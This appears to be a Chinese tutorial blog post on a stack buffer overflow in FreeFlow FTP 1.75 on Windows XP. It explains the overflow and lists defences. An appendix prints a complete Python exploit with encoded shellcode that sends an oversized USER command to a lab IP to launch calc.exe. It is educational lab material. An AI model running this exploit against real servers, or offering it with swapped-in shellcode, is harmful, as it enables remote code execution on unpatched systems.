深入解析与防范:基于缓冲区溢出的FTP服务器攻击及调用计算器示例
深入解析与防范:基于缓冲区溢出的FTP服务器攻击及调用计算器示例
摘要
本文将详细探讨一种利用缓冲区溢出漏洞对FTP服务器进行远程攻击的技术,并通过分析给定代码示例,揭示其工作原理和潜在风险。我们将重点讨论如何在靶机上实现调用计算器(calc.exe
)的过程,并介绍有效的防范措施以保障系统的安全性。
1. 引言
缓冲区溢出是一种常见的软件安全漏洞,攻击者可以通过精心构造的数据输入,使程序在处理这些数据时超出预定的缓冲区边界,从而覆盖相邻的内存区域。这种攻击手段可以导致程序崩溃、信息泄露,甚至执行恶意代码。本文将结合实际代码示例,详细解析这一攻击过程及其防范措施。
环境搭建
操作系统:Windows XP SP3
软件版本:FreeFlow FTP 1.75
开发工具:Metasploit Framework
网络环境:局域网内两台虚拟机,一台作为攻击机(Kali Linux),另一台作为目标机(Windows XP)
漏洞分析
FreeFlow FTP 1.75 版本中存在一个缓冲区溢出漏洞,该漏洞位于处理FTP命令时对用户输入的数据没有进行有效的边界检查。具体来说,当用户通过“USER”命令登录时,如果提供的用户名过长,可以触发缓冲区溢出,从而覆盖返回地址,导致控制流被劫持。
1.1安装并配置环境
- 在目标机上安装Windows XP SP3,并关闭所有不必要的服务。
- 安装FreeFlow FTP 1.75,并确保其正常运行。
- 在攻击机上安装Kali Linux,并确保Metasploit Framework和Immunity Debugger已经正确配置。
2. 攻击代码解析
2.1 代码概述
给定的代码实现了一个针对特定目标(IP地址为192.168.1.38
)的FTP服务器的缓冲区溢出攻击。该攻击通过发送一个过长的用户名(USER
命令),触发目标服务器中的缓冲区溢出漏洞,最终执行嵌入的shellcode来调用计算器(calc.exe
)。
2.2 关键组件分析
-
Shellcode:
shellcode = b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + ...
Shellcode是攻击者希望在目标系统上执行的恶意代码。这段代码经过编码或混淆,目的是绕过安全检测机制并调用计算器(
calc.exe
)。具体来说,这段shellcode包含指令来创建一个新的进程并启动calc.exe
。 -
缓冲区填充:
buff = b'\x41'*230 + b'\xD7\x30\x9D\x7C' + b'\x90'*20
这里使用了230个字符’A’(即
\x41
)来填充缓冲区,直到覆盖返回地址。b'\xD7\x30\x9D\x7C'
是精心选择的返回地址,指向后续的shellcode。最后,20个NOP指令(\x90
)作为滑板,确保CPU顺利跳转到shellcode。 -
发送攻击载荷:
data = b'USER ' + buff + b'\r\n' s.send(data)
最终,构造好的攻击载荷通过TCP连接发送到目标FTP服务器的21端口,触发缓冲区溢出并执行shellcode,从而调用计算器(
calc.exe
)。
3. 攻击原理
当目标FTP服务器接收到过长的USER
命令时,由于缺乏对输入长度的有效验证,缓冲区溢出发生。具体来说:
- 缓冲区被填满,多余的数据开始覆盖栈上的其他变量。
- 返回地址被覆盖为攻击者指定的值(如
0x7C9D30D7
),指向shellcode。 - 当函数返回时,CPU从新的返回地址继续执行,实际上跳转到了shellcode。
- Shellcode被执行,创建一个新的进程并启动
calc.exe
,完成攻击者的预期操作。
4. 调用计算器的具体实现
为了调用计算器(calc.exe
),shellcode需要执行以下步骤:
- 获取API地址:找到
CreateProcessA
等必要的Windows API函数地址。 - 构造参数:准备调用
CreateProcessA
所需的参数,如可执行文件路径("C:\\Windows\\System32\\calc.exe"
)。 - 调用API:通过API函数创建并启动新进程,运行
calc.exe
。
5. 防范措施
为了防止缓冲区溢出攻击,开发人员和系统管理员应采取以下措施:
- 输入验证:严格限制用户输入的长度和格式,避免过长或非法输入。
- 编译器保护:启用编译器的安全特性,如栈保护(Stack Canaries)、地址空间布局随机化(ASLR)等。
- 使用安全编程语言:选择具有内置安全特性的编程语言,如Rust、Go等。
- 定期更新和打补丁:及时修补已知的安全漏洞,保持软件版本最新。
- 安全审计:定期进行代码审查和安全测试,发现并修复潜在的安全问题。
6. 结论
缓冲区溢出攻击虽然历史悠久,但在某些情况下仍然具有极大的威胁。通过对攻击代码的深入分析,我们可以更好地理解其工作原理,并采取有效的防范措施。保护信息系统免受此类攻击,不仅需要技术手段,还需要持续的安全意识和最佳实践。特别是对于FTP服务器等关键服务,必须特别注意输入验证和安全配置,以防止类似的攻击。
参考文献
- OWASP Top Ten
- Buffer Overflow Attack - Wikipedia
希望这篇文章能够帮助读者更全面地了解缓冲区溢出攻击及其防范方法。
附录:完整攻击代码示例
import socketshellcode =b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode+=b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode+=b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode+=b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode+=b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode+=b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode+=b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode+=b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode+=b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode+=b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode+=b"\x7f\xe8\x7b\xca"buff=b'\x41'*230+b'\xD7\x30\x9D\x7C'+b'\x90'*20
buff+=shellcode
target='192.168.1.38'
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,21))
data=b'USER '+buff+b'\r\n'
s.send(data)
s.close()
请注意,此代码仅用于教育和研究目的,不应在未经授权的情况下使用。
运行结果如下图:
相关文章:
深入解析与防范:基于缓冲区溢出的FTP服务器攻击及调用计算器示例
深入解析与防范:基于缓冲区溢出的FTP服务器攻击及调用计算器示例 摘要 本文将详细探讨一种利用缓冲区溢出漏洞对FTP服务器进行远程攻击的技术,并通过分析给定代码示例,揭示其工作原理和潜在风险。我们将重点讨论如何在靶机上实现调用计算器…...
Gargoyle路由安装dockerd
ea8500刷石像鬼路由1.14.0,安dockerd,需先下载并安装以下依赖包,逐个安装。 kernel_5.10.176-1-6b05bc664d80d655942a20fb9ef8c3cd_arm_cortex-a15_neon-vfpv4.ipk kmod-br-netfilter_5.10.176-1_arm_cortex-a15_neon-vfpv4.ipk kmod-crypto…...
在linux系统的docker中安装GitLab
一、安装GitLab: 在安装了docker之后就是下载安装GitLab了,在linux系统中输入命令:docker search gitlab就可以看到很多项目,一般安装第一个,它是英文版的,如果英文不好可以安装twang2218/gitlab-ce-zh。 …...
滑动窗口
滑动窗口 标志: 利用两个指针 只进不退的特性 (样子与窗口类似) 解题模板 更新结果的时机 应该具体题目具体分析。 例题: 438. 找到字符串中所有字母异位词 - 力扣(LeetCode) 1658. 将 x 减到 0 的最小操作数 - 力…...
人工智能 AI 大模型研究设计与实践应用技术研究报告
人工智能 AI 大模型研究设计与实践应用技术研究报告 摘要: 本报告深入探讨了人工智能 AI 大模型的研究设计架构以及在各领域的实践应用技术。通过对模型架构、训练方法、优化策略的详细阐述,结合实际案例分析其在自然语言处理、计算机视觉、智能医疗等领…...
【深度学习】 零基础介绍卷积神经网络(CNN)
CNN学习 零基础介绍写个CNN最简单的代码一. 概述二. 搭建CNN1. 输入层2. 卷积层3. 激活层4. 池化层5. 全连接层6. 网络搭建小结7. 损失函数8. 梯度下降9. 反向传播10. 模型评估与正则化11. 尝试搭建自己的第一个CNN 三. 经典CNN结构四. 猫狗识别项目实践1. Paddle实现版本&…...
答题考试系统v1.6.1高级版源码分享+uniapp+搭建测试环境
一.系统介绍 一款基于FastAdminThinkPHPUniapp开发的小程序答题考试系统,支持多种试题类型、多种试题难度、练题、考试、补考模式,提供全部前后台无加密源代码,支持私有化部署 二.测试环境 系统环境:CentOS、 运行环境&#x…...
PowerMILL 客制化宏 - 变量
从PowerMILL2012起,命令起始支持变量。支持变量将使宏命令更加灵活和功能强大。可以对变量做一些运算而不依赖其它语言。 当前支持有变量类型为: INT; REAL; STRING; ENTITY; ARRAY LIST; OBJECT; 以下就…...
第五篇:前后端如何“扯皮”——HTTP 在开发中的应用
文章目录 第五篇:前后端如何“扯皮”——HTTP 在开发中的应用1. HTTP 在前后端分离中的作用1.1 前后端分离的崛起1.2 HTTP 的职责 2. RESTful API 与 GraphQL 的对比2.1 RESTful API:标准化的老兵2.2 GraphQL:灵活的新秀2.3 RESTful 和 Graph…...
如何在 Ubuntu 22.04 服务器上安装 Jenkins
简介 Jenkins 是一个非常流行的免费自动化工具,每个人都应该了解它。DevOps 工程师使用它来自动化代码构建、测试和部署。本文将重点介绍如何在新的 Ubuntu LTS 版本,即 Ubuntu 22.04 中安装 Jenkins。 但在此之前,让我们快速讨论一下 Jenk…...
关于代码注释
代码注释的重要性与最佳实践 在软件开发过程中,代码注释被认为是代码质量的一个重要组成部分。它不仅帮助开发人员理解和维护代码,还有助于团队协作和代码的可持续性。然而,如何有效地使用注释是一个值得深思的问题。本文将探讨代码注释的重…...
Mitt 库使用笔记
1. 介绍 Mitt 是一个轻量级的 JavaScript 库,用于在应用程序中实现事件触发和监听。它不依赖任何外部库,功能简洁,主要用于在模块间进行事件传递。 体积小:Mitt 的压缩版本仅有几千字节,非常适合在前端框架中作为事件…...
OpenCVE:一款自动收集NVD、MITRE等多源知名漏洞库的开源工具,累计收录CVE 27万+
漏洞库在企业中扮演着至关重要的角色,不仅提升了企业的安全防护能力,还支持了安全决策、合规性要求的满足以及智能化管理的发展。前期博文《业界十大知名权威安全漏洞库介绍》介绍了主流漏洞库,今天给大家介绍一款集成了多款漏洞库的开源漏洞…...
uniapp中的uni-file-picker组件上传多张图片到服务器
由于在uniapp官方文档中的uni-file-picker组件可实现图片上传功能,默认的是上传到自带的服务,所以我们要修改成自己的服务器 1. 添加 :auto-upload"false" 加上这个取消自动上传 <uni-file-picker v-model"jobAddUpdateForm.imag…...
LIF神经元模型的显隐转换
本文星主将介绍LIF神经元模型的显式和隐式转换(星主看见有论文[1]是这个称呼的,所以本文也称显式和隐式),并得到隐式模型的解析解。注意:理解本文内容需要有一定的微积分基础,如果大家看着数学头疼…...
Node的学习以及学习通过Node书写接口并简单操作数据库
Node的学习 Node的基础上述是关于Node的一些基础,总结的还行; 利用Node书写接口并操作数据库 1. 初始化项目 创建新的项目文件夹,并初始化 package.json mkdir my-backend cd my-backend npm init -y2. 安装必要的依赖 安装Express.js&…...
Android 获取屏幕物理尺寸
注:编译 sdk 需要使用 30 因为引入了 WindowMetrics、uild.VERSION_CODES.R 新 sdk 才存在的类和属性 某些场景处理 view ,对 view 显示的位置要求比较精确,通常我们使用context.getResources().getDisplayMetrics().widthPixels 获取到的宽、…...
【FFmpeg】解封装 ① ( 封装与解封装流程 | 解封装函数简介 | 查找码流标号和码流参数信息 | 使用 MediaInfo 分析视频文件 )
文章目录 一、解封装1、封装与解封装流程2、解封装 常用函数 二、解封装函数简介1、avformat_alloc_context 函数2、avformat_free_context 函数3、avformat_open_input 函数4、avformat_close_input 函数5、avformat_find_stream_info 函数6、av_read_frame 函数7、avformat_s…...
#渗透测试#红队全栈 powshell基础使用
声明! 学习视频来自B站up主 泷羽sec,任何违法事件与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!! 目录标题 认识powsehll打开方式 使用方式美化自己的powershell简单…...
Qt之自定义标题栏拓展(十)
Qt开发 系列文章 - user-defined-titlebars(十) 目录 前言 一、方式一 1.效果演示 2.创建标题栏类 3.可视化UI设计 4.定义相关函数 5.使用标题栏类 二、方式二 1.效果演示 2.创建标题栏类 3.定义相关函数 1.初始化函数 2.功能函数 3.窗口关…...
设计模式之创建型
1、What 关注对象的创建过程,旨在通过不同的方式来创建对象,以解耦对象的创建与其使用过程。这些模式提供了创建对象的灵活性和可扩展性,使得代码更加易于维护和管理。 1.1 单例模式 确保一个类只有一个实例,并提供一个全局访问…...
记录一下自己对网络安全法的笔记
仅记录一下自己对网络安全法的笔记 文章来源(https://www.cac.gov.cn/2016-11/07/c_1119867116_2.htm)(2016年11月7日第十二届全国人民代表大会常务委员会第二十四次会议通过)该法自2017年6月1日起施行。《网络安全法》是我国第一…...
Mybatis-plus-Join--分页查询
数据表四张: user: id,username,create_time,update_time product: id,name,price,number(库存),create_time,update_times order: id,quantity,order_time(下单时间),update_time order_detail:id,product_id,order_id,quant…...
EE308FZ_Sixth Assignment_Beta Sprint_Sprint Essay 5
Assignment 6Beta SprintCourseEE308FZ[A] — Software EngineeringClass Link2401_MU_SE_FZURequirementsTeamwork—Beta SprintTeam NameFZUGOObjectiveSprint Essay 5_Day9-Day10 (12.19-12.20)Other Reference1. WeChat Mini Program Design Guide 2. Javascript Style Gui…...
【AI日记】24.12.19 kaggle 比赛 2-8 | 睡眠质量提高
【AI论文解读】【AI知识点】【AI小项目】【AI战略思考】【AI日记】 工作 参加:kaggle 比赛 Regression with an Insurance Dataset时间:8 小时 读书 书名:富兰克林自传时间:0.5 小时阅读原因:100 美元纸币上的人物 …...
string
1.对象创建 // // Created by 徐昌真 on 2024/12/15. // #include <iostream> #include <string>using namespace std;int main() {string s "意思是不要沉迷于空洞的幻想 也不要追求无用的虚名 强调了做事要脚踏实地 专注于实际的目标与行动";// 1. 无…...
观龙鱼之态,察疾病之征
龙鱼,以其独特的外形、优雅的游姿,成为众多养鱼爱好者的心头好。然而,这些水中的 “精灵” 一旦患病,其状态会发生明显变化。了解龙鱼患病的表现,对于鱼主人及时发现并治疗至关重要。 当龙鱼出现食欲不振的情况时&…...
【NLP 16、实践 ③ 找出特定字符在字符串中的位置】
看着父亲苍老的白发和渐渐老态的面容 希望时间再慢一些 —— 24.12.19 一、定义模型 1.初始化模型 ① 初始化父类 super(TorchModel, self).__init__(): 调用父类 nn.Module 的初始化方法,确保模型能够正确初始化。 ② 创建嵌入层 self.embedding n…...
一.photoshop导入到spine
这里使用的是 photoshoptospine脚本 下载地址:https://download.csdn.net/download/boyxgb/90156744 脚本的使用,可以通过文件的脚本的浏览,浏览该脚本使用该脚本,也可以将该脚本放在photoshop安装文件夹里的script文件夹下,具体路径:Photoshop\Presets\Scripts,重启photosho…...
docsify
macos ➜ ~ node -v v16.20.2➜ ~ npm --version 8.19.4全局安装 docsify-cli 工具 npm i docsify-cli -g➜ ~ docsify -vdocsify-cli version:4.4.4初始化项目 docsify init ./docsls -ah docs . .. .nojekyll README.md index.htmlindex.html 入口文件README.md 会…...
在Windows Server路由和远程访问服务中启用L2TP/IPsec VPN
背景 路由和远程访问服务(Routing and Remote Access Services,RRAS)是Windows Server上的一个角色,包含很多功能,可以用来搭建VPN。然而,在什么也不做的初始配置中,它只允许PPTP协议连接。然而…...
感知机收敛性定理证明
1. 问题描述 感知机收敛性定理假设: 存在一个参数向量 θ(被归一化为单位向量,,以及一个正数 ,使得对所有训练样本 满足: 这是线性可分的假设,意味着每个样本点与正确超平面之间有一个至少为的…...
监控易平台:提升IDC 数据中心运维效率与质量
一、引言 随着信息技术的飞速发展,IDC 数据中心作为信息存储、处理和传输的核心枢纽,其规模和复杂性不断增加。数据中心的稳定运行对于企业业务的连续性和发展至关重要,然而,传统的运维方式在面对日益增长的运维需求时,…...
WordPress 资源展示型下载类主题 CeoMax-Pro_v7.6 开心版
WordPress 资源展示型下载类主题 CeoMax-Pro_v7.6 开心版; CeoMax-Pro是一款极致美观强大的WordPress付费资源下载主题,它能满足您所有付费资源下载的业务需求! 你的想法与业务不能被主题所限制!CeoMax-Pro强大的功能࿰…...
java数据类型(补充-引用类型)
Java还提供了引用数据类型(Reference Types)。这些类型的变量存储的是对象的引用,而不是直接存储值。引用数据类型主要包括以下几类: 类型描述类(Class)每个对象都有自己的状态(属性或字段)、行为…...
【WRF教程第四期】WRF 初始化概述:以4.5版本为例
WRF 初始化(WRF Initialization) Building Initialization Programs编译方式 理想案例初始化(Initialization for Idealized Cases)理想化案例的输入可用的理想化案例 现实案例初始化(Initialization for Real Data Ca…...
「Mac畅玩鸿蒙与硬件47」UI互动应用篇24 - 虚拟音乐控制台
本篇将带你实现一个虚拟音乐控制台。用户可以通过界面控制音乐的播放、暂停、切换歌曲,并查看当前播放的歌曲信息。页面还支持调整音量和动态显示播放进度,是音乐播放器界面开发的基础功能示例。 关键词 UI互动应用音乐控制播放控制动态展示状态管理按钮…...
Navicat 17 功能简介 | SQL 美化
SQL美化 本期,我们将深入挖掘 Navicat 的实用的SQL代码美化功能。你只需简单地点击“SQL 美化”按钮,即可轻松完成 SQL 的格式化。 随着 17 版本的发布,Navicat 也带来了众多的新特性,包括兼容更多数据库、全新的模型设计、可视化…...
C++ 只出现一次的数字 - 力扣(LeetCode)
点击链接即可查看题目:136. 只出现一次的数字 - 力扣(LeetCode) 一、题目 给你一个 非空 整数数组 nums ,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出现了一次的元素。 你必须设计并实现线性时间…...
Unity3D仿星露谷物语开发5之角色单例模式
1、目的 使用单例模式创建角色对象,保证整个游戏中只有一个角色,并且让游戏对象具有全局可访问性。 2、流程 (1)创建SingletonMonobehaviour脚本 Assets下创建Scripts目录用于存放所有的脚本,再创建Misk子目录&…...
解析在OceanBase创建分区的常见问题|OceanBase 用户问题精粹
在《分区策略和管理分区计划的实践方案》这篇文章中,我们介绍了在ODC中制定分区策略及有效管理分区计划的经验。有不少用户在该帖下提出了使用中的问题,其中一个关于创建分区的限制条件的问题,也是很多用户遭遇的老问题。因此本文以其为切入&…...
python学习路径(一)
学习 Python 的完整大纲应该从基础知识到高级应用层层递进,并以构建自己的项目为目标,最终形成自己的知识体系。以下是一个完整、详细且逻辑清晰的学习路径: 第一部分:Python 基础 1. 环境配置与工具 Python 安装与版本管理&…...
【Nginx-5】Nginx 限流配置指南:保护你的服务器免受流量洪峰冲击
在现代互联网应用中,流量波动是常态。无论是突发的用户访问高峰,还是恶意攻击,都可能导致服务器资源耗尽,进而影响服务的可用性。为了应对这种情况,限流(Rate Limiting)成为了一种常见的保护措施…...
OpenCV(python)从入门到精通——运算操作
加法减法操作 import cv2 as cv import numpy as npx np.uint8([250]) y np.uint8([10])x_1 np.uint8([10]) y_1 np.uint8([20])# 加法,相加最大只能为255 print(cv.add(x,y))# 减法,相互减最小值只能为0 print(cv.subtract(x_1,y_1))图像加法 import cv2 as…...
MFC 自定义网格控件
一、什么是 Custom Control? Custom Control(自定义控件) 是 MFC(Microsoft Foundation Classes)框架中提供的一种控件类型,用于实现自定义的外观和功能。当标准控件(例如 CEdit、CButton、CLi…...
什么是卷积?卷积的意义
卷积是一种在数学和信号处理中广泛应用的运算方法,它通常被用于描述两个函数之间的关系。在信号处理中,卷积可以将两个信号进行组合,以得到一个新的信号,该信号反映了这两个原始信号之间的关系。 具体来说,假设有两个…...
μC/OS-Ⅱ源码学习(7)---软件定时器
快速回顾 μC/OS-Ⅱ中的多任务 μC/OS-Ⅱ源码学习(1)---多任务系统的实现 μC/OS-Ⅱ源码学习(2)---多任务系统的实现(下) μC/OS-Ⅱ源码学习(3)---事件模型 μC/OS-Ⅱ源码学习(4)---信号量 μC/OS-Ⅱ源码学习(5)---消息队列 μC/OS-Ⅱ源码学习(6)---事件标志组 本文进一…...
3D和AR技术在电商行业的应用有哪些?
3D展示和AR技术在电商行业的应用为消费者带来了更为直观、沉浸式的购物体验,显著提升了商品展示效果和销售转化率。以下是3D和AR技术在电商行业的具体应用: 1、商品3D展示: 通过3D技术,商品可以在电商平台上以三维形式呈现&…...
数据增强的几大方式
1. 随机擦除(Random Erasing) 说明 随机在图像中选取一个矩形区域,将其像素值随机化或设为零,以增加模型对部分缺失信息的鲁棒性。 import numpy as np import cv2def random_erasing(image, sl0.02, sh0.2, r10.3):h, w, _ image.shapearea h * wta…...
GraphReader: 将长文本结构化为图,并让 agent 自主探索,结合的大模型长文本处理增强方法
GraphReader: 将长文本结构化为图,并让 agent 自主探索,结合的大模型长文本处理增强方法 论文大纲理解为什么大模型和知识图谱不够?还要多智能体 设计思路数据分析解法拆解全流程核心模式提问为什么传统的长文本处理方法会随着文本长度增加而…...